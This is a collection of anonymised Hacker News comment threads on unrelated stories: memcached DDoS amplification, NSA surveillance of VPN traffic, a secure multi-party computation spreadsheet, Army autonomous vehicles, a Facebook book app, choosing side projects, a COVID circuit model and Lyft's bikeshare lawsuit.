Lol. :-) Every single connection initiated exists in very detailed CDRs. That includes the path used as well, since they have to deal with billing other telcos for handling their calls and finding the right (cheap) path at the right time. Telcos either have full records, or they lost money. I can't think of a business with more detailed record of every single transaction they make. Probably even accounting is less strict.

</comment></comment></comment></comment></comment><comment><USER3> One day, only governments and criminals will be able to send UDP packets.

</comment><comment><USER11> This is super easy to fix. You know the source IP addresses of memcached servers. Just send to them a spoofed packet with their own IP so that they attack themselves. Or if you know that your competitor is behing the attack, just attack them.

<comment><USER16> Perhaps you don't understand how this attack works. An attacker A sends request to 1 million memcache servers with your IP. You get 1 million replies from 1 million different IPs completely whipping you offline. So you won't be sending anything for a bit and even if you did, you're fighting 1 million memcacheBots to you need to take them all offline before your modem can breathe again. (its probably on fire at this point) Finally, since you are being attacked by memcached servers responding to a request that appeared to come from you, you can't figure out who your attacker was. Nevertheless, if you have a good hunch don't let that stop you from committing a felony against your competitor.

</comment></comment><comment><USER11> One of the way to fight DDOS could be to allow those who are under attack send traffic to the origin of the attack. So for example, if you receive 1 Mbps of traffic from some IP, you can send 100 Mbps back.

If the origin is an infected computer, then it will most likely go off the network, and will stop participating in the attack. If the origin is a data center, then they will lose connetivity and it will motivate them to cure infected servers.

<comment><USER12> What do you do if the attacker spoofs the IP address of an innocent third party? Now you send them 100 Mbps, and they retaliate by sending you 10 GB?

All this does is amplify the DDOS attack. You're making it easier to DDOS yourself, not harder.

<comment><USER17> Third party isn't innocent in this case. Not that I'd condone any sort of vigilante justice, but leaving memcached servers open and ignore abuse messages is reckless.</comment></comment></comment>


Unraveling NSA's TURBULENCE Programs - <AUTHOR> https://robert.sesek.com/2014/9/unraveling_nsa_s_turbulence_programs.html <comment><USER5> So if you're a VPN user, you get extra special attention from the NSA.

 _> In the case of VPN traffic, a system called HAMMERSTEIN identifies the traffic and sends the metadata to a database called TOYGRIPPE. The TOYGRIPPE database is a "repository of VPN endpoints"14 that is used by targeting officers to determine if that computer should be a target for further exploitation 13. The TURMOIL VPN module also looks up the IP information in a database called KEYCARD to determine if the target should be tasked for targeted SIGINT collection or to recover the VPN key. Of special note is that this VPN traffic passes through a system called "TE-VPN PIQ Blade." PIQ refers to the PICARESQUE ECI marking 38, which is associated with BULLRUN 16. The BULLRUN program is NSA's effort to weaken and exploit encryption that protects digial SIGINT, whether by finding bugs in cryptographic algorithms or by manipulating standards bodies or companies into weakening encryption tools. It is safe to assume that PIQ is a compartment that contains the details of a cryptologic attack against a specific VPN technology (or technologies), which the NSA/GCHQ either found or paid for._

<comment><USER6> C.f. stenography, hiding in plain sight, etc. Drawing less suspicion generally, and if you are in the "mainstream" e.g. a crowded place, your signal becomes more difficult to parse out of the chaos.

</comment></comment><comment><USER7> This is so disturbing. I honestly feel that with every one of these revelations, my interest in the technology world is degraded more and more. The existence of such heinous things as the TAO, and its tendrils, brings on a serious depression. Just who do these people think they are, to defeat our lives so completely, for their own sakes? Despicable.

<comment><USER8> They have a very pro-end-justifies-the-means attitude. Just listen to DoJ defend most of the illegal spying they get caught with. They keep saying "...but it's effective!". As if that makes it _less illegal_.

The sad part is the mass surveillance done by the NSA, by and large, isn't even that. Maybe it's effective for economic spying, or spying on political leaders, or hacking into other countries infrastructures, or even helping to assassinate random people in Middle East who happen to be in the area of "terrorists", who may or may not be guilty of terrorism. But it's so easy to just press that drone's button, especially when it happens so far away from home and with nobody to hold them accountable...so who cares, I guess? It's easier and cheaper to kill someone with perhaps 20 percent chance of being a terrorist, than _not_ doing that (I think that's their attitude towards this). Autonomous killer drones will only make this problem 10 times worse, as they can kill many more such people, faster. And with every innocent life taken this way, 10 more people ending up _hating_ America (but not for its freedoms).

But so far there's no evidence that this mass spying would actually help with its promoted and intended goal - "stopping the next 9/11". If anything, there's probably evidence _against_ it. A bigger haystack is just that - <USER2> _bigger_ haystack in which to find the needle, and way more false leads, with biased algorithms that lead to the harassment of tens of thousands, if not millions, and without them ever knowing why they are even harassed in such a way.

<comment><USER9> > and way more false leads, with biased algorithms that lead to the harassment > of tens of thousands, if not millions, and without them ever knowing why > they are even harassed in such a way.

If there is one thing I feel like people should understand about algorithms and computers, it is about this. Just because something is computed does not make it more accurate. It just means greater precision based on the specifications and initial assumptions. More inaccurate calculations does not equal better. Greater dependency on machines to do our reasoning for us, I am partially concerned, has our species ignoring their own capacity to reason for themselves.

The thing I can't understand is how these people who do spy have any sense of self of which to reason with. The more they focus on that which exists outside of themselves, the harder it is to discern between what they are and what they fight against. I wish people would just honestly, sit down for like a year or something, and take a good long look in the mirror and introspect, rather than everything being action action action. Just because everything looks like it's moving doesn't mean it actually is.

<comment><AUTHOR> Just as the historical perspective, the automatic data processing was used even before electronic computers, and even by the Nazi regime to support genocide:

[http://en.wikipedia.org/wiki/IBM_during_World_War_II](http://en.wikipedia.org/wiki/IBM_during_World_War_II)

That's why it's important to actively care and to organize the society to minimize the potential for the undesired use of the possibilities given by the technology: the technology can amplify both the good and and the bad acts. The society has the chance to influence that easier before the tipping points and only after a lot of harm already being done after them. On another side, once the tipping point is reached, even if some system didn't exist before, it would be implemented fast.

The position of the "consumers" in the digital world is also something that has some interesting comparisons:

[http://www.wired.com/2012/11/feudal- security/](http://www.wired.com/2012/11/feudal-security/)

<comment><USER9> In theory, I absolutely agree with you.

In practice, every choice as to how to care and organize society become a question of what to control and what not to control. Who can be trusted, and who can't trusted. Then it just seems to go in a circle. Regulation on top of regulation. People make judgments and claim they are assertions rather than assumptions, based on correlative and observationally biased inferences. The system becomes deterministic based on individual impulse, rather than caution, patience, and 'opened' trust.

With individual impulse, it becomes a question of who decides to shape society, rather than how society is shaped. Whoever makes a move first has an advantage in the short term. But this has the potential to be twisted by greed, selfish desire, and delusions of grandeur, or the idea that "what works for me will work for you". Then things get directed towards tipping points. People start believing in power hierarchies, groups, differing orders and levels of intelligence and ability as intrinsic and permanent properties of their existence. And so the pendulum keeps swinging.

<comment><AUTHOR> Then, not in theory, but in practice, do you think we should care about the topic of the article?

Is it good when we discover what is actually being done "behind the closed doors" related to our profession right now?

It's also a task of every engineer to consider what could go wrong.

<comment><USER9> I don't think we will ever be at a point in our existence, where we know what to do before we have to do it.

> It's also a task of every engineer to consider what could go wrong.

Within a reasonably defined threshold. If I have a business making rubber ducks, I don't have to design those rubber ducks with the specification that they withstand temperatures of 200 degrees C.

> Then, not in theory, but in practice, do you think we should care about the > topic of the article?

I do care. I choose to not work for places that I disagree with the intent and usage of such things. I know I have the capacity and capability to work at those places. I don't want to contribute my intellect to something I consider destructive, to the best of my knowledge and awareness to do so.

But even given my choices, I never feel like I have the right answers. I always can find perspectives in where I could be wrong. I try to pick the one I consider 'least wrong'. It's not really a lesser of two evils thing, it's more reducing the probability for things to go wrong. I'm also young and probably very naive in many ways.

</comment></comment></comment></comment></comment></comment></comment><comment><USER10> Would love to know more about the "Pairing and Crypt attacks" along with "Cryptovariable management". Probably the pairing here is referring to the pairing between client and server rather than the cryptographic technique of using pairings ... but it seems this hasn't surfaced in any of the other snowden docs. I often wish the journalists working on that story had released more source material.

<comment><USER11> They're only slides. We don't have audio of the presentations. :)

I did wonder about that, but no "common" internet encryption protocols use pairing-friendly (in the open source cryptographic community sense) primitives. I think you're about right and it probably refers to matching public and private keys for CAs in SSL/TLS, looking up suitable intermediate CAs, for which they may have a few keys stashed away. They don't seem enthusiastic to wave them around much, however.

I believe they probably have long-term cryptologic cracking capability (HPC) including 1024-bit RSA, but probably not 2048-bit. Maybe MD5? Maybe SHA1?

Look at the long list of trusted CAs in a browser, and try to map all the intermediates they've ever signed. You may find a few likely candidates.

<comment><USER12> To extend your statements:

* breaking 1024-bit RSA is believed to be well within the resources of the NSA given public research/attacks.[0]

* MD5 is already completely broken in the public research and the NSA has used MD5 collisions in malware attacks that are independent of public methods[1].

* RC4 has been attacked for a number of years, and someone who has seen unreleased Snowden documents claimed that the NSA has the ability to break RC4 in realtime[2]. Plenty of HTTPS traffic is protected by RC4.

[0]:"One estimate is made by Shamir & Tromer (2003) in their hypothetical TWIRL device. They suggested that for "a few dozen million US dollars", a hardware device could be built to break a 1024-bit RSA key within around a year. Franke et al (2005) similarly estimate a cost of 200 million dollars2 for a machine to factorise a 1024-bit number in one year. If these cost estimates are accurate, it's safe to assume that the NSA has built such a machine (unless they have another way of breaking RSA more efficiently). And by Moore's Law alone, we'd assume that their machine takes considerably less than a year." [http://www.javamex.com/tutorials/cryptography/rsa_key_length...](http://www.javamex.com/tutorials/cryptography/rsa_key_length.shtml)

[1]: "He discovered that for this spy malware an as yet unknown cryptographic attack variant of his own MD5 attack is used." [http://www.cwi.nl/news/2012/cwi-cryptanalist-discovers- new-c...](http://www.cwi.nl/news/2012/cwi-cryptanalist-discovers-new- cryptographic-attack-variant-in-flame-spy-malware)

[2]: "RC4 is broken in real time by the #NSA - stop using it." [https://twitter.com/ioerror/status/398059565947699200](https://twitter.com/ioerror/status/398059565947699200)

<comment><USER11> Yes - I concur that the "cryptanalytic breakthrough" GCHQ talked about the NSA having a few years ago was _most probably_ some kind of a practical RC4 break, from context. (Schneier thought this one of the likely possibilities too.) It's used enough in TLS (especially at the time these documents were penned, as some advising on BEAST countermeasures actually _encouraged_ people to use it, instead of switching to TLSv1.2 to use the strong AEAD ciphers - <USER3> convenient for them!) that if they have, say a known-plaintext-prefix attack of reasonable complexity that can be hardware-accelerated, that would be widely leveragable into very real breaks to them - and the structure of such a thing would look remarkably like what we see here.

RC4 is about as good as such a simple crypter can be, but it really is _too_ simple and _not_ good enough now, and I strongly suspect it is already toast and way too late to safely phase out - which is why the IETF are hopefully about to publish an RFC strongly recommending it MUST NOT be used in TLS, at all. (Worse, even if RC4 isn't toast to everyone right now, an attacker who can put your data on ice for a few years - like just about every Nation State Adversary does - may very well _make_ toast with it down the line and read all your data.)

 _We_ don't have any second-preimages in MD5, yet; what's demonstrated are techniques for efficient collisons. They _might_ , but collisions are easily enough for practical problems as many have publicly demonstrated. SHA-1 hasn't been publicly demonstrated with a collision yet, but it has all the same underlying problems as MD5 (and the original SHA), just to a lesser extent - <USER4> suspect that NSA can produce SHA-1 collisions with enough effort. Don't expect them to spend more effort than they _need_ , however, to save money and avoid revealing capabilities where possible. Several attackers have happily leveraged simpler shortcuts - there's a piece of (probably South Korean) malware that has signing keys co-opted from hapless developers who've somehow been derping around with 512-bit RSA keys. _I_ could break those, so that's completely ridiculous!

By the way - do be on the look out for PGP signatures with 1024-bit DSA signing keys. There's a _lot_ of them. Upgrade to at least 3072-bit RSA, I suggest (or Ed25519).</comment></comment></comment></comment>


Antimatter atom trapped for first time, say scientists - <AUTHOR> http://www.bbc.co.uk/news/science-environment-11773791 <comment><USER2> Just a heads up, this was posted twice. Everyone else is chatting up antimatter here -> <http://news.ycombinator.com/item?id=1915155>

</comment><comment><USER3> John Titor sends his congratulations to the CERN team ;-)

</comment><comment><USER4> 0.2 seconds of containment seems surprisingly long for a first experiment. I would have expected much shorter times.</comment>


Show HN: SECCOMP – A Secure Spreadsheet - <AUTHOR> https://www.calctopia.com <comment><USER2> This needs more explanation of what's going on and what the benefit is. Don't tell us it's big deal ("the holy grail of secure computation"), show us why it is.

I had to stare at the animated gif for a quite a long while before I realized the two spreadsheets were different, and I still don't get quite what's happening here. Computations are not automatically updated when input data changes like they usually are in spreadsheets? Do both sides have to agree to compute the cell before the operation is performed?

<comment><AUTHOR> There's a succint description of the steps at the webpage:

1- Both parties have to agree to the same formulas that will be computed 2- The spreadsheets are different because the inputs of the two parties are different, not the formulas 3- When both parties agree to compute the same cell, the secure multi-party computation between both parties starts: when it's finished, the result is displayed on a destination cell or as a comment

The point is that computer users, not knowing advanced cryptography, will be able to securely compute in a transparent way (ie. "cryptography dissappears").

<comment><USER3> This is all I see when I watch your animations:

        1. Two complex spreadsheets, they look similar (therefore, assume they're the same)
        2. Click some cells
        3. Wait...
        4. TADA, A number appears!?!??

What is this number? How is this different from regular spreadsheets, is it just a super slow formula eval? Why are there two identical sheets (it's moving way too fast to notice that they're different)? Why did you select the cell first? Before any of these questions could be answered by actually reading the spreadsheet the animation jumps straight to the next one, which is essentially the exact same as the last with a different title at the top.

Also, why are you demoing starting from selecting the output cells, like 5 times? That's the most boring and repetitive part of your whole product.

Your demo should be MUCH simpler. Start with a single blank spreadsheet and solve the millionaire problem (you mentioned it elsewhere) in 15 seconds, including typing the formula and sending the sheet to the second person. This problem is simple to conceptualize and easy to motivate.

<comment><AUTHOR> OK, I'll make much easier examples: other people which I've asked thought them OK.

</comment></comment></comment></comment><comment><USER4> I'm not exactly sure what is being sold here. Is it an ostensibly-secure spreadsheet as a service?

If I wanted a secure spreadsheet my instinct would be to use LibreOffice on an airgapped system and store it in an encrypted container of some kind... I'm not sure any sort of cloud solutions would even enter into my deliberations if I had truly sensitive stuff to work with.

<comment><AUTHOR> It's not about encrypting files (encryption at rest): you can do the secure multi-party computations over your private LAN, and the encrypted network traffic will never leak to anybody (ie. no way to cryptanalyze anything in the future).

It's about encrypting the computation between the parties: this kind of technology is being used to prevent satellite collisions on secret orbits, for example.

<comment><USER4> >It's not about encrypting files (encryption at rest): you can do the secure multi-party computations over your private LAN, and the encrypted network traffic will never leak to anybody

Honest question: Can't I do that already by using SFTP or ssh and uploading a spreadsheet? I just feel like I'm missing something. Do you have some kind of real-time aspect going on?

Second question: How do I know that your closed-source app isn't exfiltrating the data clandestinely?

> (ie. no way to cryptanalyze anything in the future).

Assuming no flaws are ever going to be discovered in your crypto scheme in the future is pretty bold.

>It's about encrypting the computation between the parties: this kind of technology is being used to prevent satellite collisions on secret orbits, for example.

Given that anything orbiting the earth can be observed from the ground with sufficient resolution, there's no such thing as a secret orbit. This sounds more and more like snake oil.

<comment><AUTHOR> >Honest question: Can't I do that already by using SFTP or ssh and uploading a spreadsheet? I just feel like I'm missing something. Do you have some kind of real-time aspect going on?

No, you aren't encrypting the computation, just encrypting some data. Using secure computation (garbled circuits, secret sharing, homomorphic encryption, ...), you are encrypting every mathematical operation.

> Second question: How do I know that your closed-source app isn't > exfiltrating the data clandestinely? >Assuming no flaws are ever going to be > discovered in your crypto scheme in the future is pretty bold.

What I've written is: if you are carrying the secure computation on your private LAN and nobody is sniffing the traffic (potentially gigabytes), in the future they will have no way to cryptanalyze what the inputs were. And you can check that no information is being sent to anywhere during the secure computations: all the encrypted data is sent between the two computers carrying out the secure computation.

> Given that anything orbiting the earth can be observed from the ground with > sufficient resolution, there's no such thing as a secret orbit. This sounds > more and more like snake oil.

You can learn more here: [https://eprint.iacr.org/2013/850](https://eprint.iacr.org/2013/850) [https://eprint.iacr.org/2016/319](https://eprint.iacr.org/2016/319)

<comment><USER4> My skepticism was the secret orbits, not the shared multiprocessing.

There's no such thing as a secret orbit.

<comment><USER5> I think secret orbit just means the orbit might not be publicly published.

I assume this is what is being referred to: [https://sharemind.cyber.ee/private-satellite-collision- predi...](https://sharemind.cyber.ee/private-satellite-collision-prediction/)

</comment></comment></comment></comment></comment></comment><comment><USER6> The text is aggressively sales-y in quite an old-fashioned and cheesy way. I share other commenters' confusion about what's actually happening here too. Having read a bit on secure multi-party computation, you've made something interesting but it's not coming across on your website.

<comment><AUTHOR> You're right about that: just trying to explain it to business people.

I've put more detailed information for math/crypto people here: [https://www.calctopia.com/2017/02/01/on-the-security- model/](https://www.calctopia.com/2017/02/01/on-the-security-model/)

More to come soon!

<comment><USER6> For explaining to business, it's generally better to describe a problem and then show how your thing solves it. This is a gentler approach than the 'hard sell' and draws people in, not least because it shows that you do understand their world and their challenges.

</comment></comment></comment><comment><USER7> what is this meant to do? The demonstration video just looks like a regular interaction with excel, with some coloured cells. My immediate questions as a clueless user (one with a cryptographic background nonetheless) are:

\- How is this different from a regular collaborative spreadsheet?

\- What attacks am I protected against if I use this product?

\- Is the attack a real risk to my business, or largely theoretical?

\- What problem does this solve that encrypting and emailing a .xlsx doesn't?

Overall it's quite hard to catch the value proposition.

<comment><AUTHOR> Both parties are computing some spreadsheet formulas contributing their own secret inputs, in such a way that both learn the result but not the input of the other party: it's cryptographically impossible to do so. Regular collaborative spreadsheet software doesn't do that: actually, this is the first program for normal computer users that is able to do so (and not cryptographers specialized in secure multi-party computation).

It depends on your business: if you are bank, a financial firm or any other that handles very valuable and confidential data, you need secure computation on any of its forms (garbled circuits, secret sharing, homomorphic encryption).

Encrypting and emailing is encryption at rest, you're not encrypting the computation.

</comment></comment><comment><USER8> I assume this is using some form of Secure Multi-party Computation. Where is the source-code?

<comment><AUTHOR> Yes, it's state-of-the-art secure multi-party computation. The code is closed for now, but it'll be gradually open-sourced in the future.

</comment></comment><comment><USER9> Looks like a closed-source implementation of a Homomorphic Encryption algorithm.

"Homomorphic encryption is a form of encryption that allows computations to be carried out on ciphertext, thus generating an encrypted result which, when decrypted, matches the result of operations performed on the plaintext." [https://en.wikipedia.org/wiki/Homomorphic_encryption](https://en.wikipedia.org/wiki/Homomorphic_encryption)

<comment><AUTHOR> It's not homomorphic encryption: it's garbled circuits and oblivious transfer (order of magnitudes faster than homomorphic encryption, a cryptographic technique with lots of publicity but it'll take some years before it's practical) supporting floating-point operations (there are no opensourced libraries with floating-point support).

</comment></comment><comment><USER10> I think the point is to arrive at answers without revealing how certain formulas (formulae?) are calculated? Or something?

<comment><AUTHOR> The point is letting others use your data (vg. your valuations, prices, ...) without others learning/stealing your information, et vice versa.

It's usually explained using the Millionaires' Problem ([https://en.wikipedia.org/wiki/Yao's_Millionaires'_Problem](https://en.wikipedia.org/wiki/Yao's_Millionaires'_Problem)): "two millionaires, Alice and Bob, who are interested in knowing which of them is richer without revealing their actual wealth."

</comment></comment><comment><USER11> Closed-source "patent-pending" cryptography technology and absolutely no contact info other than an e-mail? Sounds like the kind of place where I would input my most secure data.

<comment><AUTHOR> It's secure multiparty computation, specifically tailored for spreadsheets: your secret inputs never get out of your computer in plaintext form, only in encrypted form between the participants of the computation. For the moment, it's closed-source: but it'll be gradually open-sourced in the future, just give it some time.

<comment><USER12> "Cutting-edge cryptography: Benefit from the latest advances in cryptography research with our Patent-pending technology" as your website says, is a scary statement. If you're not using well vetted cryptography, that's a huge red flag. The Harry Potter quote sums it up best:

"Ginny!" said Mr. Weasley, flabbergasted. "Haven't I taught you anything? What have I always told you? Never trust anything that can think for itself if you can't see where it keeps its brain!"

As relatively security-literate users of an app where we'd be putting personally identifiable information or other details we don't want getting out, it stands to reason we want to see a history of commits on an open source project and a history of security audits and preferably be able to refer to RFC's for the algorithms and protocols used.

Unless you guys open source and publish audit details, it's not worth my time to consider this product. No disrespect meant, it's just common sense.

<comment><AUTHOR> You can read more details about the algorithms/protocols here: [https://www.calctopia.com/2017/02/01/on-the-security- model/](https://www.calctopia.com/2017/02/01/on-the-security-model/)

I don't agree with the statement "because is open-source is more secure"; for example, OpenSSL has been open-source for almost 20 years and it's difficult to consider it really secure. Only code reviews by experts make software more secure.

BTW: quoting Harry Potter doesn't make you look serious.

<comment><USER12> I didn't say open sourcing the code was the only important thing.

And I don't give a rat's ass about looking serious :)

</comment></comment></comment></comment></comment><comment><USER13> There's a linux kernel security feature named seccomp[1] too, in case you didn't already know. Changing it would maybe avoid confusion.

[1]:[https://github.com/seccomp/libseccomp](https://github.com/seccomp/libseccomp)

</comment><comment><USER14> If you've really got something groundbreaking here, you're going about selling it in the totally wrong way. As you say, your most likely customers are banks and financial institutions. They are not going to buy something like this, and introduce a major new concept into their business process, by clicking the "buy" button on your website.

You need to convince them to implement the new process (secure multiparty computation) before you even begin selling your product.

To do this you need high touch sales, for high prices, to a small group of big clients. Go to New York City, setup some meetings, and get in a room with decision makers. First, sell them on the advantages of secure multiparty computation. Show them a nice demo of a scenario they can understand. Then, once they're sold on that, sell them your product for a few million dollars.

You should probably raise capital and build an experienced sales team to do this for you.

<comment><USER15> Ignore this comment, look at the experience from ThingieQuery:

\- [https://news.ycombinator.com/item?id=13114421](https://news.ycombinator.com/item?id=13114421)

\- [https://www.querystorm.com/](https://www.querystorm.com/)

</comment></comment><comment><USER16> Can you tell me what a homomorphism is?

Not for my own enlightenment, I just want to know if I should hold my breath for your eventual open-sourcing.

<comment><AUTHOR> It's not using homomorphic encryption: it's using garbled circuits and oblivious transfer (order of magnitudes faster).

<comment><USER16> I wasn't interested in whether you're using them, I just want to know if you can define the term.

Or, if you'd care to share any interesting papers or resources related to the cryptography you've implemented!

<comment><AUTHOR> Sure, I've just published more details taken from the documentation:

[https://www.calctopia.com/2017/02/01/on-the-security- model](https://www.calctopia.com/2017/02/01/on-the-security-model)

<comment><USER16> OK, somewhat less skeptical now. I'll read up on this. Thanks.

</comment></comment></comment></comment></comment><comment><USER17> I get the skepticism about this product, but why are the author's comments all dead, without a way to vouch?

</comment><comment><USER18> Isn't this a secure spreadsheet?

[https://sheets.google.com](https://sheets.google.com)

<comment><AUTHOR> It's running over HTTPS (protecting the network traffic between the user and their servers), but it doesn't offer encrypted computation.</comment></comment>


The US Army is developing autonomous armored vehicles - <AUTHOR> https://www.armytimes.com/news/your-army/2017/08/29/the-us-army-is-developing-autonomous-armored-vehicles/ <comment><USER2> One step closer to the utopia dictators and despots have dreamed about for millennia. No longer will they have to depend on the loyalty of Praetorians or armies to protect them and put down the unruly peasant and proles. Soon they will have legions of obedient killer robots to ensure their rule.

<comment><USER3> Which is why we have the Second Amendment in the US and it is our right as citizens to have our own death robots.

/seriousness

</comment></comment><comment><USER4> The enormously high cost of war (both economical and humanitarian) is the main reason why our time is the most peaceful in human history. Do not change that.

<comment><USER5> Those of us who grew up playing Civilization figured this out pretty quickly. War is fun, but is time consuming and costs enormous resources.

Much better to focus on science, and technology and grow peacefully.

</comment></comment><comment><USER6> Future of warfare is going to something more like Command And Conquer game, where operators will direct autonomous machine with a click of a mouse and warfare will be mostly done at a distance....

Probably with less casualties overall...

<comment><USER7> The ethics of asymmetrical warfare with one side nearly completely autonomous seem like very murky water.

Imagine Iraq occupied with pretty much only machines and Iraqis never actually see an American. And if this removes the threat of death from one side, what does that do to the cost of war? Could it actually make it more common because it is less politically risky? It feels inevitable, but it also scares me.

<comment><USER8> Ever heard of drones? "murky water" is quite an understatement.

</comment></comment></comment><comment><USER9> Little known fact: one of the first self driving cars was a 'Humvee' (real name HMMWV) which was equipped by DARPA with cameras and could navigate a road with no other vehicles, and go straight through a 4 way intersection after stopping (again, no other vehicles). This was in the mid 1990s. Would love a link to this project if anyone has it.

<comment><USER10> [https://en.wikipedia.org/wiki/DARPA_Grand_Challenge#2005_Gra...](https://en.wikipedia.org/wiki/DARPA_Grand_Challenge#2005_Grand_Challenge)

[http://velodynelidar.com/blog/it-began-with-a- race/](http://velodynelidar.com/blog/it-began-with-a-race/)

<comment><USER9> These are cool but the footage I recall seeing was clearly from the 1990s and lifted from VHS tape.

</comment></comment></comment><comment><USER11> This seems like an obvious step - why put a soldier or soldiers at risk to scout around the corner or breech a building when you can send in an armored quad?

Or have I been reading too much SciFi?

<comment><USER12> Not only that. Friend-or-foe identification can boil down to "only targets shooting at me are hostile". That policy isn't any good for human soldiers but robots operating on that principle could avoid a lot of collateral damage.

<comment><USER13> > Friend-or-foe identification can boil down to "only targets shooting at me > are hostile".

And those that shoot at allies. And those that haven't shot yet, but are aiming in the wrong direction. And those that are just reloading their mortar. And those that are setting up an explosive trap for the robot.

There are a lot of ways to be hostile that go beyond firing a weapon directly at the robot, and if it can't handle those, it will be exploited by humans pretending to be harmless.

<comment><USER5> Shhh... we are going to need to preserve our Guerilla methods dude.

</comment></comment></comment></comment><comment><USER14> Elon Musk and Sarah Connor both told them not to do that.

<comment><USER15> > with an automated machine gun

Yeah, how exactly can that be automated?

<comment><USER16> > > with an automated machine gun

> Yeah, how exactly can that be automated?

 _Be it known that we, JOHN M. BROWNING and Marrana ' S. Browning, of Ogden, in the county of Weber and Territory of Utah, have invented a new Improvement in Magazine Guns; and we do hereby declare the following [...] an improvement in the construction of guns whereby the firing of the gun after the first discharge may be made automatic so long as cartridges shall be supplied._ [1892]

[https://www.google.com/patents/US471782](https://www.google.com/patents/US471782)

</comment></comment></comment><comment><USER17> This is far from being deployed, per another article on the same demo (a much better article, if you are interested in learning more):

 _Much of the technology is there to drive robotics and autonomy into maneuver formations, but when it comes to developing the tactics, techniques and procedures, the Army is figuring out "how we want to massage this," said Robert Sadowski, robotics chief with the Army's Tank Automotive Research, Development and Engineering Center. "The next 10 to 15 years will help us figure out how we want to embed robotics and autonomous systems into the formation."_

[http://www.defensenews.com/land/2017/08/25/us-army- tackles-t...](http://www.defensenews.com/land/2017/08/25/us-army-tackles- teaming-robots-and-ground-forces-on-battlefield/)

</comment><comment><USER18> I find myself wary of the long tail on this one. When wars fade into enforcement then rights fade into privileges.

</comment><comment><USER19> [http://en.radiovaticana.va/storico/2014/05/13/archb._tomasi_...](http://en.radiovaticana.va/storico/2014/05/13/archb._tomasi_beware_of_the_increasing_dehumanisation_of_warfare/en1-798916)

</comment><comment><USER20> What's the point in the Army developing its own, parallel autonomous vehicle technology? Why not just have DARPA funnel funds to Google or someone and piggyback off their research?

<comment><USER21> Well, Google already piggybacked off of DARPA ;-)

Also, combat zones != California suburbs.

<comment><USER20> > Also, combat zones != California suburbs.

We're just going to leave that one tee'd up, aren't we?

</comment></comment></comment><comment><USER22> Didn't toyota recently say, we are way off from completely autonomous vehicles. But if anyone has unlimited resources to do it...its the army.

</comment><comment><USER23> "Human neutral" is the new term.

</comment><comment><USER24> Robocop was not meant as an instruction manual.

</comment><comment><USER25> SkyNet alpha v001

</comment><comment><USER26> What could possibly go wrong?</comment>


Show HN: A half-year viral project that did not go viral - <AUTHOR> http://makemytale.com/

<comment><USER2> Well, for starters:

1) On the front page, there are no explanations / visuals on what your app does. 2) If I wanted to try it out, I'd have to sign up with Facebook, where you're requesting virtually every permission available to request.

result => I don't care if this is the best thing since sliced bread, the perceived barrier to entry is too high.

<comment><AUTHOR> Thanks for a starter!

I agree on first point, I will expand "Your Facebook data will become a crazy book." into something more visual and clear. But I appreciate any ideas on the second. We've tried to limit the required permissions to as few as possible, the thing is the more we get, the more funky book we can provide. Initial presumption was that the stylish look of the website will give some confidence for the users to trust their "photos" and "friends" for a moment, but it doesn't. And it is somewhat weird to put any "Privacy Protected" badges to a website, that should be fun and stuff. In addition people do not share their books. That is strange as most of them say that their books are really funny and cool. So they should want to share them?

<comment><USER2> If you could convince some of your current users to share all/part of their books on the front page of your site, that would be wonderful - not just an example of the product, but also an example of real users trusting you/facebook to gather their data.

As per data, see if you could do it step-by-step. Ask for photos first, let users create something. As they use the product, offer to create more dynamic content and then ask for additional permissions.

Hopefully that will get your users started and once they see some value will get them further engaged.

</comment></comment></comment><comment><USER2> p.s. The graphics are cool!</comment>


Ask HN: How do you choose which project ideas to pursue? - <AUTHOR> I'm sure most of us had to at some point choose between several personal projects to take on. Maybe a new technology to learn, a build in the physical world, or some code/product/service for other people to use. When you have more ideas than time, how do you choose which one to pursue?
What makes you more curious about one technology over another?
Which considerations go into crafting something by yourself?
How do you evaluate how useful something you could create would be to others? <comment><USER2> For me it comes down to a personal itch, which is usually along the lines of "What do you mean, I can't do XYZ???" or "I can't believe this isn't a thing!" or "The current implementations are terrible!" or "I don't believe it when everyone says it's impossible"

I do put in effort to make things useful to other people, and take their ideas to heart to widen the userbase, but ultimately it must be useful to me as well.

I judge its usefulness by the volume of support requests coming in ;-)

</comment><comment><USER3> Money and personal growth.

In fact, contract work is a great avenue to pursue your dreams. By choosing your work, you can learn valuable skills for your own project. Being exposed to different corporate departments and income streams can spark your own ideas.

If you get in the habit of devoting time to personal projects, you will see where your values lie and pursue that. Not everyone can live the startup lifestyle.</comment>


Surprising Covid-19 Strategy: Reduce Economic Damage and Deaths Simultaneously - <AUTHOR> https://www.circuitlab.com/blog/2020/05/28/surprising-covid-19-strategy-how-to-reduce-economic-damage/ <comment><AUTHOR> I just published a video presentation about simulating an epidemic using 4 capacitors and 3 current sources. I analyze the pandemic as a feedback control system from an engineering perspective, and show something surprising: the shape of the policy frontier is concave down, like an inverted parabola, so that in one region of the curve, it's not a zero-sum game. It's optimal to both save lives and save the economy at the same time. This is counterintuitive, but comes right out of the circuit model.

I think this is newsworthy because this model directly contradicts the mass media narrative that there is inherently a tradeoff between the two.

Curious to hear what you think.</comment>


Lyft is suing San Francisco to prevent competing bikeshares from moving in - <AUTHOR> https://www.theverge.com/2019/6/7/18657312/lyft-bike-share-lawsuit-san-francisco-dockless-docked-transportation <comment><USER3> All you need to know here is right in the first paragraph: "Lyft filed a lawsuit against San Francisco today claiming city authorities are violating a contract it has with the ride-hailing company that gives Lyft exclusive rights to operate bike-share programs in the area. San Francisco's Municipal Transportation Agency, on the other hand, says it has the authority to sign partnerships with dockless (also called stationless) vendors, and that Lyft's contract gives it exclusivity only on docked bike shares. Lyft is seeking a temporary restraining order to prevent the city from issuing bikeshare permits to new vendors."

They're disagreeing on specifics of the contract Lyft signed with the city. This is exactly the kind of thing I would expect to be settled out of court with some kind of compromise agreement.

<comment><USER4> How is such a contract legal in the first place? Shouldn't a city have to treat all businesses equally as a matter of law?

<comment><USER5> In short, no. The city gives public space for Lyft to install these docks. Forcing them to treat every company equally in that regard simply wouldn't work, not to mention that the cost of building the network in the first place requires some guarantees in return. A bike share system needs lots of docks in order to be successful, granting one company a monopoly isn't that crazy in that context.

<comment><USER4> The guarantees should then be limited to making available to Lyft enough space to build docks. Banning competition far exceeds that.

<comment><USER6> It doesn't matter in practice (and in fact there's some decent arguments that one is better than two or more: consider the current ford Go-Bikes in SF. Would it be better or worse if there were 2 or 3 mutually incompatible bike racks? You end up fragmenting your transit system). You can only offer so many rack locations, so if Lyft takes 2/3 of them, no other provider can be as effective anyway.

